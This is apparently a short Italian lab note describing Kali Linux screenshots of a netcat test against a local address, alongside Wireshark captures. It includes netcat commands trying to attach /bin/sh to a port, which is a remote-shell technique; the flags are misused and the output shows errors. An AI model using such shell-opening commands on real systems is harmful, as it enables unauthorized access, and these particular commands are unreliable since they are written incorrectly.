

## Test apertura porta su Natcat

The image displays four screenshots of a Kali Linux virtual machine environment, arranged in a 2x2 grid. The top-left and bottom-left screenshots show a terminal window with the following commands and output:

```
kali@kali:~$ nc 192.168.1.38 -p /bin/sh
no port(s) to connect to

kali@kali:~$ nc 192.168.1.38 1234 -p /bin/sh
whoami
sh: 6: uname-a: not found
sh: 7: uname-a: not found
sh: 10: -: not found
sh: 11: -: not found
```

The top-right and bottom-right screenshots show the Wireshark network protocol analyzer. The top-right screenshot displays a list of captured packets, including DNS queries and ARP requests. The bottom-right screenshot shows a detailed view of a packet frame, highlighting the Ethernet II, Internet Protocol Version 4, and Internet Group Management Protocol (IGMP) layers.
